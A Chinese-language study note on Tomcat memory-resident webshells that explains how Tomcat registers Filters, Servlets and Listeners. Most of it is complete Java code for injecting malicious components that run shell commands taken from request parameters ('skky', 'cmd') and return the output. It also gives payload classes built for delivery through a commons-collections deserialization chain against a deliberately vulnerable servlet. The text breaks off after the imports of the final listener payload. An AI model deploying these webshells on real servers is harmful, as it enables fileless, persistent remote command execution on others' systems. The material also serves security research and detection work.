Tomcat内存马学习笔记

Filter内存马

Filter初始化

Tomcat在启动的时候会对Filter进行初始化,它会根据web.xml和servlet注解进行初始。这里面操作涉及了StandardContext中三个重要的成员变量:

  • filterDefs
  • filterMaps
  • filterConfigs

启动的时候,先会调用addFilterDefaddFilterMap来将filterDeffilterMap加入到filterDefsfilterMaps

最后在调用加载Filter的filterStart()时,会根据filterDefs来对filterConfigs进行初始

WsServerContainer 是 Apache Tomcat 中实现 WebSocket 功能的一个类,它并不是通过在web.xml配置文件或通过注解直接初始化的。在初始化这个类的时候,会在StandardContext中再添加一个Tomcat WebSocket (JSR356) Filter,分析这个流程可以知道加载一个Filter的更多细节。

首先,它会调用ApplicationContext中的addFilter方法,为filterDefs添加一个filterDef

同时注意一个新建的FilterDef对象要做初始化的地方有三个部分

  • setFilterName
  • setFilterClass
  • setFilter

filterDefs是一个HashMap

addFilterDef的工作方式

addFilter最后会返回一个ApplicationFilterRegistration对象,接着程序会调用ApplicationFilterRegistration下的addMappingForUrlPatterns来添加filterMaps

addFilter类似,addMappingForUrlPatterns中会初始化一个filterMap对象,然后将其添加到filterMaps中。初始一个filterMap对象会做三件事情:

  • setFilterName
  • setDispatcher:它是设置一个特定过滤器在何种情况下被调用
    • REQUEST:过滤器将仅在处理客户端的直接请求时被调用。
    • FORWARD:当请求被一个servlet通过RequestDispatcher.forward()方法转发时,应用这个过滤器。
    • INCLUDE:当请求被一个servlet通过RequestDispatcher.include()方法包含时,应用这个过滤器。
    • ERROR:当请求是为了处理错误而调度时,应用这个过滤器。
    • ASYNC:当请求是在Servlet的异步模式下操作时,应用这个过滤器。
  • addURLPattern

最后在filterStart()会对filterConfigs进行初始,主要根据filterDefs变量

Filter工作方式

Tomcat 的Pipline/Valve和Container:

StandardWrapperValve是处理特定Servlet请求的最后一个Valve,负责将请求传递给具体的Servlet实例。其处理请求的核心代码如下:

简而言之,如果一个请求是异步的(request.isAsyncDispatching()返回为true),那么就调用request.getAsyncContextInternal().doInternalDispatch()来处理,如果不是异步的就通过filterChain处理请求。SwallowOutput用于控制是否捕获和记录Servlet和过滤器执行期间写入到System.out和System.err的输出的设置。

可以看到,每次请求的 FilterChain 都是动态匹配获取和生成的。调用的是ApplicationFilterFactorycreateFilterChain方法,其添加的流程如下:

  • 在 context 中获取 filterMaps
  • 循环filterMaps,匹配请求的url
  • 如果匹配,则从filterConfigs中根据filterName选出对应的filterConfig加入filterChain

除了根据URL还会根据servlet name进行一次匹配

之后调用filterChain.doFilter方法

internalDoFilter会循环 filterChain 中的全部 filterConfig,通过 getFilter 方法获取 Filter 并执行 Filter 的 doFilter 方法。

动态注册Filter

实验准备

新建一个简单的servlet

package com.example;

import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;

@WebServlet("/")
public class HelloServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.println("<p>Hello World!</p>");
    }
}

然后准备一个动态添加Filter的servlet,之后会在doGet方法中写我们动态注册Filter的代码,这里我们用它添加一个simpleFilter。准备的代码如下:

package com.memshell.tomcat;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;

@WebServlet("/addFilter")
public class AddFilter extends HttpServlet {
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    	// 动态注册Filter的代码
    }
}

// 需要注册的Filter
class simpleFilter implements Filter {

    public void init(FilterConfig filterConfig) {
        // Filter 初始化时调用
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        Runtime.getRuntime().exec("open -a Calculator");
        System.out.println("Filter 被调用");
        chain.doFilter(request, response);
    }

    public void destroy() {
        // Filter 销毁时调用
    }
}

根据上面的分析,动态注册一个Filter,就是修改ServletContext中的那三个成员变量:

  • filterDefs
  • filterMaps
  • filterConfigs

有两种思路

  • 参考Tomcat WebSocket (JSR356) Filter的注册方式,依次调用ApplicationContext.addFilterApplicationFilterRegistration.addMappingForUrlPatternsStandardContext.filterStart(),来修改filterDefsfilterMapsfilterConfigs
  • 直接用反射修改这三个变量。

继续之前需要了解的:ServletContext、applicationContext、StandardContext和ApplicationContextFacade。详细的内容可以参考:

这里说下个人浅薄的理解:

  • ServletContext是servlet定义的一个接口、规范,它提供了与一个web应用运行相关的所有变量,把它想成一个web应用的上下文环境。
  • ApplicationContext则是Tomcat对ServletContext接口的具体实现。
  • ApplicationContextFacade则是对ApplicationContext的封装,之后通过request.getServletContext()获取到的其实是ApplicationContextFacade,它的context属性才是ApplicationContext。
  • StandardContext又被ApplicationContext封装,ApplicationContext对ServletContext的一部分实现,其实是交给StandardContext来做的。在代码层面上,ApplicationContext的context属性就是StandardContext。
ApplicationContextFacade = request.getServletContext()
 L context -> ApplicationContext
            	 L context -> StandardContext

方法一:调用函数修改

filterDefsfilterMapsfilterConfigs都与ApplicationContextStandardContext密切相关。首先是获取ApplicationContextStandardContext的代码

ServletContext servletContext = req.getServletContext();
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) f.get(servletContext);

Field af = applicationContext.getClass().getDeclaredField("context");
af.setAccessible(true);
StandardContext standardContext = (StandardContext) af.get(applicationContext);

然后是添加filterDefs,调用的是ApplicationContext.addFilteraddFilter有四种实现,我们调用的是addFilter(String filterName, Filter filter)

另外,addFilter中的checkState会检查Tomcat的LifecycleState(与Lifecycle详见https://www.jianshu.com/p/2a9ffbd00724),所以调用之前修改standardContextstate属性。

具体代码如下:

// 实例化要添加的Filter
Filter sf = new simpleFilter();

// 修改standardContext的LifecycleState
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
        .getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);

// 调用addFilter
javax.servlet.FilterRegistration.Dynamic fr = applicationContext.addFilter(filterName, sf);

//状态恢复
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);

执行addFilter之后同时得到了一个ApplicationFilterRegistration对象,然后就调用它的addMappingForUrlPatterns来添加filterMap。这里要注意的是,为了防止一些特殊情况(如shiro这种),我们添加的Filter要放到FilterChain的最前面。

通过前面的分析,FilterChain的顺序只与filterMaps有关。现在细看下这个filterMaps,它其实是一个ContextFilterMaps对象,我们新建的filterMap最后是添加到它里面的FilterMap[] array中的。

添加的方式则是通过ContextFilterMapsadd方法

除此之外,ContextFilterMaps还提供了一个addBefore方法,来把filterMap添加到数组array的头部

与它对应的是StandardContext.addFilterMapBefore,而在addMappingForUrlPatterns中要调用addFilterMapBefore来添加filterMap,则要传入参数isMatchAfterfalse

依照逻辑写出添加filterMap的代码

fr.setAsyncSupported(false);
fr.addMappingForUrlPatterns(
        java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST),
        false,
        new String[]{"/*"}
);

最后,在Tomcat 8.5版本中,filterStart是一个public方法。所以直接调用即可,它就根据新的filterDefs来生成相应的filterConfigs

standardContext.filterStart();

最后完整的代码如下:

package com.memshell.tomcat;

import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;

@WebServlet("/addFilter")
public class AddFilter extends HttpServlet {
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        try {
            String filterName = "skkyFilter";
            ServletContext servletContext = req.getServletContext();

            if (servletContext.getFilterRegistration(filterName) == null) {
                Field f = servletContext.getClass().getDeclaredField("context");
                f.setAccessible(true);
                ApplicationContext applicationContext = (ApplicationContext) f.get(servletContext);

                Field af = applicationContext.getClass().getDeclaredField("context");
                af.setAccessible(true);
                StandardContext standardContext = (StandardContext) af.get(applicationContext);

                Filter sf = new simpleFilter();

                //修改状态,要不然添加不了
                java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
                        .getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);

                javax.servlet.FilterRegistration.Dynamic fr = applicationContext.addFilter(filterName, sf);

                //状态恢复
                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);

                fr.setAsyncSupported(false);
                fr.addMappingForUrlPatterns(
                        java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST),
                        false,
                        new String[]{"/*"}
                );


                standardContext.filterStart();
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}


class simpleFilter implements Filter {

    public void init(FilterConfig filterConfig) {
        // Filter 初始化时调用
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        Runtime.getRuntime().exec("open -a Calculator");
        System.out.println("Filter 已添加");
        chain.doFilter(request, response);
    }

    public void destroy() {
        // Filter 销毁时调用
    }
}

现在,启动Tomcat,访问/addFilter

新的Filter被成功添加

方法二:反射修改

参考:su18-AddTomcatFilter

su18师傅的代码写的非常清楚,就不过多赘述了。完整代码:

package com.memshell.tomcat;

import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

@WebServlet("/addFilterReflect")
public class AddFilterReflect extends HttpServlet {
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        try {

            String filterName = "skkyFilter";

            // 从 request 中获取 servletContext
            ServletContext servletContext = req.getServletContext();

            // 如果已有此 filterName 的 Filter,则不再重复添加
            if (servletContext.getFilterRegistration(filterName) == null) {

                StandardContext o = null;

                // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                while (o == null) {
                    Field f = servletContext.getClass().getDeclaredField("context");
                    f.setAccessible(true);
                    Object object = f.get(servletContext);

                    if (object instanceof ServletContext) {
                        servletContext = (ServletContext) object;
                    } else if (object instanceof StandardContext) {
                        o = (StandardContext) object;
                    }
                }

                // 创建自定义 Filter 对象
                Filter filterClass = new simpleFilter();

                // 创建 FilterDef 对象
                FilterDef filterDef = new FilterDef();
                filterDef.setFilterName(filterName);
                filterDef.setFilter(filterClass);
                filterDef.setFilterClass(filterClass.getClass().getName());

                // 创建 ApplicationFilterConfig 对象
                Constructor<?>[] constructor = ApplicationFilterConfig.class.getDeclaredConstructors();
                constructor[0].setAccessible(true);
                ApplicationFilterConfig config = (ApplicationFilterConfig) constructor[0].newInstance(o, filterDef);

                // 创建 FilterMap 对象
                FilterMap filterMap = new FilterMap();
                filterMap.setFilterName(filterName);
                filterMap.addURLPattern("*");
                filterMap.setDispatcher(DispatcherType.REQUEST.name());


                // 反射将 ApplicationFilterConfig 放入 StandardContext 中的 filterConfigs 中
                Field filterConfigsField = o.getClass().getDeclaredField("filterConfigs");
                filterConfigsField.setAccessible(true);
                HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig>) filterConfigsField.get(o);
                filterConfigs.put(filterName, config);

                // 反射将 FilterMap 放入 StandardContext 中的 filterMaps 中
                Field filterMapField = o.getClass().getDeclaredField("filterMaps");
                filterMapField.setAccessible(true);
                Object object = filterMapField.get(o);

                Class cl = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
                // addBefore 将 filter 放在第一位
                Method m = cl.getDeclaredMethod("addBefore", FilterMap.class);
//				Method m = cl.getDeclaredMethod("add", FilterMap.class);
                m.setAccessible(true);
                m.invoke(object, filterMap);

                PrintWriter writer = resp.getWriter();
                writer.println("tomcat filter added");

            }
        } catch (Exception e) {
            e.printStackTrace();
        }


    }
}

利用

上面我们是直接在Tomcat加了一个Servlet来动态添加Filter,下面我们在一个有commons-collections:commons-collections:3.2.1的服务端中,利用反序列化任意代码执行打入Filter内存马。

漏洞Servlet代码如下:

package com.test;

import org.apache.commons.codec.binary.Base64;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.PrintWriter;

@WebServlet("/test")
public class demoTest extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.println("<p>Deserialized Test Page</p>");
    }

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();

        String inputBase64 = request.getParameter("input");
        if (inputBase64 == null || inputBase64.isEmpty()) {
            out.println("No input provided");
            return;
        }

        try {
            Object deserializedObject = deserializeFromBase64(inputBase64);

            out.println("Deserialized object: " + deserializedObject.toString());
        } catch (ClassNotFoundException e) {
            out.println("Error during deserialization: " + e.getMessage());
        }
    }

    public static Object deserializeFromBase64(String base64String) throws IOException, ClassNotFoundException {
        byte[] data = Base64.decodeBase64(base64String);
        try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
             ObjectInputStream ois = new ObjectInputStream(bais)) {

            return ois.readObject();
        }
    }
}


编译命令:

javac -cp "/xxx/xxx/xxx/apache-tomcat-8.5.96/lib/*" tomcatServletExploit.java

在上面的动态注册Filter代码中,最关键的就是ServletContext的获取,而获得ServletContext一个思路是拿到当前请求HttpServletRequest对象。这里参考的是:Tomcat中一种半通用回显方法

文章提到了一种通过初始化lastServicedRequest来获取当前请求的HttpServletRequest对象的方法。在internalDoFilter中,如果ApplicationDispatcher.WRAP_SAME_OBJECT为true的话,那么在调用servlet.service(request, response)处理请求之前,就会用lastServicedRequestlastServicedResponse来对当前的requestresponse保存。

但是Tomcat启动时ApplicationDispatcher.WRAP_SAME_OBJECTlastServicedRequestlastServicedResponse被初始为false、null和null,所以思路就是:第一次请求用反射修改这三个变量,第二次请求从lastServicedRequestlastServicedResponse获取当前请求的requestresponse

另外,这里还有一个反射修改final修饰的属性值的技巧,参见:https://www.jianshu.com/p/2d490b0155ad。获取到request之后,就可以用前面的方法注册我们的Filter了。参考了文章基于tomcat的内存 Webshell 无文件攻击技术的写法,完整代码如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Field;

public class tomcatFilterExploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet implements Filter {
    static {
        try {
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);

            WRAP_SAME_OBJECT_FIELD.setAccessible(true);
            lastServicedRequestField.setAccessible(true);
            lastServicedResponseField.setAccessible(true);

            ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
            boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);

            if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
                lastServicedRequestField.set(null, new ThreadLocal<>());
                lastServicedResponseField.set(null, new ThreadLocal<>());
                WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
            } else {
                ServletRequest responseFacade = lastServicedRequest.get();
                addFilter((HttpServletRequest) responseFacade);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public void init(FilterConfig filterConfig) {
        // Filter 初始化时调用
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        System.out.println(
                "TomcatShellInject doFilter.....................................................................");
        String cmd;
        if ((cmd = request.getParameter("skky")) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            response.getOutputStream().write(stringBuilder.toString().getBytes());
            response.getOutputStream().flush();
            response.getOutputStream().close();
            return;
        }
        chain.doFilter(request, response);
    }


    public void destroy() {
        // Filter 销毁时调用
    }

    static void addFilter(HttpServletRequest req) {

        try {
            String filterName = "skkyFilter";
            ServletContext servletContext = req.getServletContext();

            if (servletContext.getFilterRegistration(filterName) == null) {
                Field f = servletContext.getClass().getDeclaredField("context");
                f.setAccessible(true);
                ApplicationContext applicationContext = (ApplicationContext) f.get(servletContext);

                Field af = applicationContext.getClass().getDeclaredField("context");
                af.setAccessible(true);
                StandardContext standardContext = (StandardContext) af.get(applicationContext);

                Filter sf = new tomcatFilterExploit();

                //修改状态,要不然添加不了
                java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
                        .getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);

                javax.servlet.FilterRegistration.Dynamic fr = applicationContext.addFilter(filterName, sf);

                //状态恢复
                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);

                fr.setAsyncSupported(false);
                fr.addMappingForUrlPatterns(
                        java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST),
                        false,
                        new String[]{"/*"}
                );


                standardContext.filterStart();
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

然后就可以用CC链3来打了。连续发送两次打入Filter

Filter成功被打入

Servlet内存马

回顾一下知识点——深入理解Tomcat(八)Container。一个servlet在Tomcat的容器中就是一个Wrapper,而Wrapper又是被Context包含的。

添加Servlet的方法相对比较简单:

  • 新建一个Wrapper对象
  • 通过 StandardContext#addChild 把它加到 StandardContext 的 children 当中
  • 通过 StandardContext#addServletMapping将新建的 Wrapper 对象,和访问的 url 进行绑定。

动态添加Servlet的Servlet代码如下,参考su18-AddTomcatServlet.java

package com.memshell.tomcat.addServlet;

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;

import javax.servlet.Servlet;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebServlet("/addServlet")
public class AddServlet extends HttpServlet {
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {

            String servletName = "skkyServlet";

            // 从 request 中获取 servletContext
            ServletContext servletContext = req.getServletContext();

            // 如果已有此 servletName 的 Servlet,则不再重复添加
            if (servletContext.getServletRegistration(servletName) == null) {

                StandardContext o = null;

                // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                while (o == null) {
                    Field f = servletContext.getClass().getDeclaredField("context");
                    f.setAccessible(true);
                    Object object = f.get(servletContext);

                    if (object instanceof ServletContext) {
                        servletContext = (ServletContext) object;
                    } else if (object instanceof StandardContext) {
                        o = (StandardContext) object;
                    }
                }

                // 创建自定义 Servlet
                Servlet evilServlet = new EvilServlet();

                // 使用 Wrapper 封装 Servlet
                Wrapper wrapper = o.createWrapper();
                wrapper.setName(servletName);
                wrapper.setLoadOnStartup(1);
                wrapper.setServlet(evilServlet);
                wrapper.setServletClass(evilServlet.getClass().getName());

                // 向 children 中添加 wrapper
                o.addChild(wrapper);

                // 添加 servletMappings
                o.addServletMapping("/skkyblu3", servletName);

                PrintWriter writer = resp.getWriter();
                writer.println("tomcat servlet added");

            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

class EvilServlet extends HttpServlet{
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = resp.getWriter();
        out.write(output);
        out.flush();
    }
}

利用

利用场景和filter一样,这里实现Servlet的接口来写。代码如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;

public class tomcatServletExploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet implements Servlet {
    static {
        try {
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);

            WRAP_SAME_OBJECT_FIELD.setAccessible(true);
            lastServicedRequestField.setAccessible(true);
            lastServicedResponseField.setAccessible(true);

            ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
            boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);

            if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
                lastServicedRequestField.set(null, new ThreadLocal<>());
                lastServicedResponseField.set(null, new ThreadLocal<>());
                WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
            } else {
                ServletRequest requestFacade = lastServicedRequest.get();
                addServlet((HttpServletRequest) requestFacade);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(ServletConfig config) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = res.getWriter();
        out.println(output);
        out.flush();
        out.close();

    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }

    static void addServlet(HttpServletRequest req) {
        try {

            String servletName = "skkyServlet";

            // 从 request 中获取 servletContext
            ServletContext servletContext = req.getServletContext();

            // 如果已有此 servletName 的 Servlet,则不再重复添加
            if (servletContext.getServletRegistration(servletName) == null) {

                StandardContext o = null;

                // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                while (o == null) {
                    Field f = servletContext.getClass().getDeclaredField("context");
                    f.setAccessible(true);
                    Object object = f.get(servletContext);

                    if (object instanceof ServletContext) {
                        servletContext = (ServletContext) object;
                    } else if (object instanceof StandardContext) {
                        o = (StandardContext) object;
                    }
                }

                // 创建自定义 Servlet
                Servlet evilServlet = new tomcatServletExploit();

                // 使用 Wrapper 封装 Servlet
                Wrapper wrapper = o.createWrapper();
                wrapper.setName(servletName);
                wrapper.setLoadOnStartup(1);
                wrapper.setServlet(evilServlet);
                wrapper.setServletClass(evilServlet.getClass().getName());

                // 向 children 中添加 wrapper
                o.addChild(wrapper);

                // 添加 servletMappings
                o.addServletMapping("/skkyblu3", servletName);

            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

访问两次写入Servlet

成功写入Servlet

Listener内存马

Tomcat 中 EventListeners 存放在 StandardContext 的 applicationEventListenersList 属性中,同样可以使用 StandardContext 的相关 add 方法添加。

这里添加一个RequestListener,在requestDestroyed里面执行命令

package com.memshell.tomcat.addRequestListener;

import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebServlet("/addRequestListener")
public class AddRequestListener extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletContext servletContext = req.getServletContext();

        StandardContext o = null;

        try {

            // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
            while (o == null) {
                Field f = servletContext.getClass().getDeclaredField("context");
                f.setAccessible(true);
                Object object = f.get(servletContext);

                if (object instanceof ServletContext) {
                    servletContext = (ServletContext) object;
                } else if (object instanceof StandardContext) {
                    o = (StandardContext) object;
                }
            }

            // 添加监听器
            o.addApplicationEventListener(new EvilRequestListener());

            resp.getWriter().println("tomcat listener added");

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

class EvilRequestListener implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        // 当请求对象销毁时触发
        try {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            String cmd = req.getParameter("cmd");
            if (req.getParameter("cmd") != null) {
                Field requestF = req.getClass().getDeclaredField("request");
                requestF.setAccessible(true);
                Request request = (Request) requestF.get(req);


                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";

                request.getResponse().getWriter().write(output);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        // 当请求对象创建时触发
    }
}

利用

和之前一样,利用ServletRequestListener接口来做。代码如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.InputStream;
